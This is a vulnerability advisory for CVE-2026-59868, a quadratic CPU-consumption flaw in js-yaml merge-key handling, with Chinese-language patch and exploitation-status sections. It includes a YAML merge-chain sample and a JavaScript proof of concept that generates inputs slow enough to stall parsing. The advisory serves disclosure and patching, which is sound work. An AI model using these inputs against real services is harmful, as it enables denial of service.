CVE-2026-59868
js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
描述
### Impact This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
如何修補 CVE-2026-59868
要修補 CVE-2026-59868,請將受影響套件升級到下列已修補版本。
- —升級至 5.2.0 或更新版本
CVE-2026-59868 正在被利用嗎?
低 — EPSS 為 0.4%,目前沒有觀察到大規模利用活動。